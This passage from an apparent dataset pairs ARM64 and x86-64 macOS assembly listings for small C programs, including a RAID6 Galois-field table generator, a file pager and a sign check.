LBB2_5: ; in Loop: Header=BB2_3 Depth=1
ldrb w0, [sp, #7]
ldurb w1, [x29, #-1]
bl _gfmul
strb w0, [sp, #7]
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_3 Depth=1
ldurb w0, [x29, #-1]
ldurb w1, [x29, #-1]
bl _gfmul
sturb w0, [x29, #-1]
ldr w8, [sp, #8]
asr w8, w8, #1
str w8, [sp, #8]
b LBB2_3
LBB2_7:
ldrb w0, [sp, #7]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "#include <linux/raid/pq.h>\n"
l_.str.1: ; @.str.1
.asciz "#include <linux/export.h>\n"
l_.str.2: ; @.str.2
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfmul[256][256] =\n{\n"
l_.str.3: ; @.str.3
.asciz "\t{\n"
l_.str.4: ; @.str.4
.asciz "\t\t"
l_.str.5: ; @.str.5
.asciz "0x%02x,%c"
l_.str.6: ; @.str.6
.asciz "\t},\n"
l_.str.7: ; @.str.7
.asciz "};\n"
l_.str.8: ; @.str.8
.asciz "#ifdef __KERNEL__\n"
l_.str.9: ; @.str.9
.asciz "EXPORT_SYMBOL(raid6_gfmul);\n"
l_.str.10: ; @.str.10
.asciz "#endif\n"
l_.str.11: ; @.str.11
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfexp[256] =\n{\n"
l_.str.12: ; @.str.12
.asciz "\t"
l_.str.13: ; @.str.13
.asciz "EXPORT_SYMBOL(raid6_gfexp);\n"
l_.str.14: ; @.str.14
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfinv[256] =\n{\n"
l_.str.15: ; @.str.15
.asciz "EXPORT_SYMBOL(raid6_gfinv);\n"
l_.str.16: ; @.str.16
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfexi[256] =\n{\n"
l_.str.17: ; @.str.17
.asciz "EXPORT_SYMBOL(raid6_gfexi);\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $560, %rsp ## imm = 0x230
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -532(%rbp)
movl %edi, -536(%rbp)
movq %rsi, -544(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -548(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
## Child Loop BB0_5 Depth 3
cmpl $256, -548(%rbp) ## imm = 0x100
jge LBB0_12
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -552(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_5 Depth 3
cmpl $256, -552(%rbp) ## imm = 0x100
jge LBB0_10
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -556(%rbp)
LBB0_5: ## Parent Loop BB0_1 Depth=1
## Parent Loop BB0_3 Depth=2
## => This Inner Loop Header: Depth=3
cmpl $8, -556(%rbp)
jge LBB0_8
## %bb.6: ## in Loop: Header=BB0_5 Depth=3
movl -548(%rbp), %eax
movb %al, %cl
movl -552(%rbp), %eax
addl -556(%rbp), %eax
## kill: def $al killed $al killed $eax
movzbl %cl, %edi
movzbl %al, %esi
callq _gfmul
movzbl %al, %esi
movl -556(%rbp), %ecx
movl $32, %edx
movl $10, %eax
cmpl $7, %ecx
cmovel %eax, %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
## %bb.7: ## in Loop: Header=BB0_5 Depth=3
movl -556(%rbp), %eax
addl $1, %eax
movl %eax, -556(%rbp)
jmp LBB0_5
LBB0_8: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_3 Depth=2
movl -552(%rbp), %eax
addl $8, %eax
movl %eax, -552(%rbp)
jmp LBB0_3
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
## %bb.11: ## in Loop: Header=BB0_1 Depth=1
movl -548(%rbp), %eax
addl $1, %eax
movl %eax, -548(%rbp)
jmp LBB0_1
LBB0_12:
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movb $1, -557(%rbp)
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -548(%rbp)
LBB0_13: ## =>This Loop Header: Depth=1
## Child Loop BB0_15 Depth 2
cmpl $256, -548(%rbp) ## imm = 0x100
jge LBB0_22
## %bb.14: ## in Loop: Header=BB0_13 Depth=1
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -552(%rbp)
LBB0_15: ## Parent Loop BB0_13 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $8, -552(%rbp)
jge LBB0_20
## %bb.16: ## in Loop: Header=BB0_15 Depth=2
movb -557(%rbp), %cl
movl -548(%rbp), %eax
addl -552(%rbp), %eax
cltq
movb %cl, -272(%rbp,%rax)
movzbl -557(%rbp), %esi
movl -552(%rbp), %ecx
movl $32, %edx
movl $10, %eax
cmpl $7, %ecx
cmovel %eax, %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movl $2, %esi
movzbl -557(%rbp), %edi
callq _gfmul
movb %al, -557(%rbp)
movzbl -557(%rbp), %eax
cmpl $1, %eax
jne LBB0_18
## %bb.17: ## in Loop: Header=BB0_15 Depth=2
movb $0, -557(%rbp)
LBB0_18: ## in Loop: Header=BB0_15 Depth=2
jmp LBB0_19
LBB0_19: ## in Loop: Header=BB0_15 Depth=2
movl -552(%rbp), %eax
addl $1, %eax
movl %eax, -552(%rbp)
jmp LBB0_15
LBB0_20: ## in Loop: Header=BB0_13 Depth=1
jmp LBB0_21
LBB0_21: ## in Loop: Header=BB0_13 Depth=1
movl -548(%rbp), %eax
addl $8, %eax
movl %eax, -548(%rbp)
jmp LBB0_13
LBB0_22:
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.14(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -548(%rbp)
LBB0_23: ## =>This Loop Header: Depth=1
## Child Loop BB0_25 Depth 2
cmpl $256, -548(%rbp) ## imm = 0x100
jge LBB0_30
## %bb.24: ## in Loop: Header=BB0_23 Depth=1
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -552(%rbp)
LBB0_25: ## Parent Loop BB0_23 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $8, -552(%rbp)
jge LBB0_28
## %bb.26: ## in Loop: Header=BB0_25 Depth=2
movl -548(%rbp), %eax
addl -552(%rbp), %eax
## kill: def $al killed $al killed $eax
movl $254, %esi
movzbl %al, %edi
callq _gfpow
movb %al, %cl
movb %cl, -557(%rbp)
movl -548(%rbp), %eax
addl -552(%rbp), %eax
cltq
movb %cl, -528(%rbp,%rax)
movzbl -557(%rbp), %esi
movl -552(%rbp), %ecx
movl $32, %edx
movl $10, %eax
cmpl $7, %ecx
cmovel %eax, %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
## %bb.27: ## in Loop: Header=BB0_25 Depth=2
movl -552(%rbp), %eax
addl $1, %eax
movl %eax, -552(%rbp)
jmp LBB0_25
LBB0_28: ## in Loop: Header=BB0_23 Depth=1
jmp LBB0_29
LBB0_29: ## in Loop: Header=BB0_23 Depth=1
movl -548(%rbp), %eax
addl $8, %eax
movl %eax, -548(%rbp)
jmp LBB0_23
LBB0_30:
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.15(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.16(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -548(%rbp)
LBB0_31: ## =>This Loop Header: Depth=1
## Child Loop BB0_33 Depth 2
cmpl $256, -548(%rbp) ## imm = 0x100
jge LBB0_38
## %bb.32: ## in Loop: Header=BB0_31 Depth=1
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -552(%rbp)
LBB0_33: ## Parent Loop BB0_31 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $8, -552(%rbp)
jge LBB0_36
## %bb.34: ## in Loop: Header=BB0_33 Depth=2
movl -548(%rbp), %eax
addl -552(%rbp), %eax
cltq
movzbl -272(%rbp,%rax), %eax
xorl $1, %eax
cltq
movzbl -528(%rbp,%rax), %esi
movl -552(%rbp), %ecx
movl $32, %edx
movl $10, %eax
cmpl $7, %ecx
cmovel %eax, %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
## %bb.35: ## in Loop: Header=BB0_33 Depth=2
movl -552(%rbp), %eax
addl $1, %eax
movl %eax, -552(%rbp)
jmp LBB0_33
LBB0_36: ## in Loop: Header=BB0_31 Depth=1
jmp LBB0_37
LBB0_37: ## in Loop: Header=BB0_31 Depth=1
movl -548(%rbp), %eax
addl $8, %eax
movl %eax, -548(%rbp)
jmp LBB0_31
LBB0_38:
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.17(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_40
## %bb.39:
xorl %eax, %eax
addq $560, %rsp ## imm = 0x230
popq %rbp
retq
LBB0_40:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function gfmul
_gfmul: ## @gfmul
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movb %sil, %al
movb %dil, %cl
movb %cl, -1(%rbp)
movb %al, -2(%rbp)
movb $0, -3(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpb $0, -2(%rbp)
je LBB1_5
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movzbl -2(%rbp), %eax
andl $1, %eax
cmpl $0, %eax
je LBB1_4
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movzbl -1(%rbp), %ecx
movzbl -3(%rbp), %eax
xorl %ecx, %eax
## kill: def $al killed $al killed $eax
movb %al, -3(%rbp)
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
movzbl -1(%rbp), %eax
shll $1, %eax
movzbl -1(%rbp), %esi
andl $128, %esi
xorl %ecx, %ecx
movl $29, %edx
cmpl $0, %esi
cmovnel %edx, %ecx
xorl %ecx, %eax
## kill: def $al killed $al killed $eax
movb %al, -1(%rbp)
movzbl -2(%rbp), %eax
sarl $1, %eax
## kill: def $al killed $al killed $eax
movb %al, -2(%rbp)
jmp LBB1_1
LBB1_5:
movzbl -3(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function gfpow
_gfpow: ## @gfpow
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb %dil, %al
movb %al, -1(%rbp)
movl %esi, -8(%rbp)
movb $1, -9(%rbp)
movl -8(%rbp), %eax
movl $255, %ecx
cltd
idivl %ecx
movl %edx, -8(%rbp)
cmpl $0, -8(%rbp)
jge LBB2_2
## %bb.1:
movl -8(%rbp), %eax
addl $255, %eax
movl %eax, -8(%rbp)
LBB2_2:
jmp LBB2_3
LBB2_3: ## =>This Inner Loop Header: Depth=1
cmpl $0, -8(%rbp)
je LBB2_7
## %bb.4: ## in Loop: Header=BB2_3 Depth=1
movl -8(%rbp), %eax
andl $1, %eax
cmpl $0, %eax
je LBB2_6
## %bb.5: ## in Loop: Header=BB2_3 Depth=1
movb -9(%rbp), %al
movzbl %al, %edi
movzbl -1(%rbp), %esi
callq _gfmul
movb %al, -9(%rbp)
LBB2_6: ## in Loop: Header=BB2_3 Depth=1
movb -1(%rbp), %al
movzbl %al, %edi
movzbl -1(%rbp), %esi
callq _gfmul
movb %al, -1(%rbp)
movl -8(%rbp), %eax
sarl $1, %eax
movl %eax, -8(%rbp)
jmp LBB2_3
LBB2_7:
movzbl -9(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "#include <linux/raid/pq.h>\n"
L_.str.1: ## @.str.1
.asciz "#include <linux/export.h>\n"
L_.str.2: ## @.str.2
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfmul[256][256] =\n{\n"
L_.str.3: ## @.str.3
.asciz "\t{\n"
L_.str.4: ## @.str.4
.asciz "\t\t"
L_.str.5: ## @.str.5
.asciz "0x%02x,%c"
L_.str.6: ## @.str.6
.asciz "\t},\n"
L_.str.7: ## @.str.7
.asciz "};\n"
L_.str.8: ## @.str.8
.asciz "#ifdef __KERNEL__\n"
L_.str.9: ## @.str.9
.asciz "EXPORT_SYMBOL(raid6_gfmul);\n"
L_.str.10: ## @.str.10
.asciz "#endif\n"
L_.str.11: ## @.str.11
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfexp[256] =\n{\n"
L_.str.12: ## @.str.12
.asciz "\t"
L_.str.13: ## @.str.13
.asciz "EXPORT_SYMBOL(raid6_gfexp);\n"
L_.str.14: ## @.str.14
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfinv[256] =\n{\n"
L_.str.15: ## @.str.15
.asciz "EXPORT_SYMBOL(raid6_gfinv);\n"
L_.str.16: ## @.str.16
.asciz "\nconst u8 __attribute__((aligned(256)))\nraid6_gfexi[256] =\n{\n"
L_.str.17: ## @.str.17
.asciz "EXPORT_SYMBOL(raid6_gfexi);\n"
.subsections_via_symbols
| the_stack_data/674235.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _flatten_code19 ; -- Begin function flatten_code19
.p2align 2
_flatten_code19: ; @flatten_code19
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov w8, #1
str w8, [sp, #8]
mov w8, #2
str w8, [sp, #4]
mov w9, #3
str w9, [sp, #4]
str w8, [sp, #8]
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _flatten_code19 ## -- Begin function flatten_code19
.p2align 4, 0x90
_flatten_code19: ## @flatten_code19
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $1, -8(%rbp)
movl $2, -12(%rbp)
movl $3, -12(%rbp)
movl $2, -8(%rbp)
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/730217.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w8, #-11
stur w8, [x29, #-8]
mov w8, #3
stur w8, [x29, #-12]
ldur w8, [x29, #-8]
ldur w10, [x29, #-12]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #16]
ldr w9, [sp, #16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $-11, -8(%rbp)
movl $3, -12(%rbp)
movl -8(%rbp), %eax
cltd
idivl -12(%rbp)
movl %edx, -16(%rbp)
movl -16(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/40764010.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #176
.cfi_def_cfa_offset 176
stp x29, x30, [sp, #160] ; 16-byte Folded Spill
add x29, sp, #160
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #68]
str w0, [sp, #64]
str x1, [sp, #56]
ldr w8, [sp, #64]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w8, #-1
str w8, [sp, #68]
b LBB0_14
LBB0_2:
b LBB0_3
LBB0_3: ; =>This Loop Header: Depth=1
; Child Loop BB0_7 Depth 2
ldr w8, [sp, #64]
subs w8, w8, #1
str w8, [sp, #64]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_12
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #56]
add x9, x8, #8
str x9, [sp, #56]
ldr x0, [x8, #8]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
mov x8, x0
str x8, [sp, #24]
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #56]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
str xzr, [sp, #40]
mov x8, #1
str x8, [sp, #32]
ldr x8, [sp, #56]
ldr x10, [x8]
ldr x8, [sp, #32]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_7
LBB0_7: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
ldr x2, [sp, #24]
add x0, sp, #72
mov w1, #80
bl _fgets
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_7 Depth=2
ldr x8, [sp, #40]
add x8, x8, #1
str x8, [sp, #40]
mov x9, sp
add x8, sp, #72
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldr x8, [sp, #40]
subs x8, x8, #20
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_7 Depth=2
str xzr, [sp, #40]
ldr x8, [sp, #32]
add x8, x8, #1
str x8, [sp, #32]
ldr x8, [sp, #32]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_7 Depth=2
b LBB0_7
LBB0_11: ; in Loop: Header=BB0_3 Depth=1
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldr x8, [sp, #32]
add x8, x8, #1
str x8, [sp, #32]
b LBB0_3
LBB0_12:
ldr x0, [sp, #24]
bl _fclose
b LBB0_13
LBB0_13:
ldr x8, [sp, #32]
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #68]
b LBB0_14
LBB0_14:
ldr w8, [sp, #68]
str w8, [sp, #20] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_16
b LBB0_15
LBB0_15:
bl ___stack_chk_fail
LBB0_16:
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #160] ; 16-byte Folded Reload
add sp, sp, #176
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "error: no files are named as arguments\n"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "find: can't open %s\n"
l_.str.3: ; @.str.3
.asciz "%s:\nPage %ld:\n"
l_.str.4: ; @.str.4
.asciz "%s"
l_.str.5: ; @.str.5
.asciz "\nPage %ld:\n"
l_.str.6: ; @.str.6
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $160, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -100(%rbp)
movl %edi, -104(%rbp)
movq %rsi, -112(%rbp)
cmpl $1, -104(%rbp)
jne LBB0_2
## %bb.1:
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $-1, -100(%rbp)
jmp LBB0_14
LBB0_2:
jmp LBB0_3
LBB0_3: ## =>This Loop Header: Depth=1
## Child Loop BB0_7 Depth 2
movl -104(%rbp), %eax
addl $-1, %eax
movl %eax, -104(%rbp)
cmpl $0, %eax
jle LBB0_12
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq -112(%rbp), %rax
movq %rax, %rcx
addq $8, %rcx
movq %rcx, -112(%rbp)
movq 8(%rax), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -144(%rbp)
cmpq $0, %rax
jne LBB0_6
## %bb.5: ## in Loop: Header=BB0_3 Depth=1
movq -112(%rbp), %rax
movq (%rax), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_3 Depth=1
movq $0, -128(%rbp)
movq $1, -136(%rbp)
movq -112(%rbp), %rax
movq (%rax), %rsi
movq -136(%rbp), %rdx
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB0_7: ## Parent Loop BB0_3 Depth=1
## => This Inner Loop Header: Depth=2
leaq -96(%rbp), %rdi
movq -144(%rbp), %rdx
movl $80, %esi
callq _fgets
cmpq $0, %rax
je LBB0_11
## %bb.8: ## in Loop: Header=BB0_7 Depth=2
movq -128(%rbp), %rax
addq $1, %rax
movq %rax, -128(%rbp)
leaq -96(%rbp), %rsi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
cmpq $20, -128(%rbp)
jne LBB0_10
## %bb.9: ## in Loop: Header=BB0_7 Depth=2
movq $0, -128(%rbp)
movq -136(%rbp), %rax
addq $1, %rax
movq %rax, -136(%rbp)
movq -136(%rbp), %rsi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
LBB0_10: ## in Loop: Header=BB0_7 Depth=2
jmp LBB0_7
LBB0_11: ## in Loop: Header=BB0_3 Depth=1
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movq -136(%rbp), %rax
addq $1, %rax
movq %rax, -136(%rbp)
jmp LBB0_3
LBB0_12:
movq -144(%rbp), %rdi
callq _fclose
## %bb.13:
movq -136(%rbp), %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -100(%rbp)
LBB0_14:
movl -100(%rbp), %eax
movl %eax, -148(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_16
## %bb.15:
movl -148(%rbp), %eax ## 4-byte Reload
addq $160, %rsp
popq %rbp
retq
LBB0_16:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "error: no files are named as arguments\n"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "find: can't open %s\n"
L_.str.3: ## @.str.3
.asciz "%s:\nPage %ld:\n"
L_.str.4: ## @.str.4
.asciz "%s"
L_.str.5: ## @.str.5
.asciz "\nPage %ld:\n"
L_.str.6: ## @.str.6
.asciz "\n"
.subsections_via_symbols
| the_stack_data/98574313.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _check ; -- Begin function check
.p2align 2
_check: ; @check
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
str wzr, [sp, #12]
b LBB0_3
LBB0_2:
mov w8, #1
str w8, [sp, #12]
b LBB0_3
LBB0_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w0, [x29, #-8]
bl _check
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur w0, [x29, #-12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _check ## -- Begin function check
.p2align 4, 0x90
_check: ## @check
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
cmpl $0, -8(%rbp)
jle LBB0_2
## %bb.1:
movl $0, -4(%rbp)
jmp LBB0_3
LBB0_2:
movl $1, -4(%rbp)
LBB0_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %edi
callq _check
movl %eax, %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
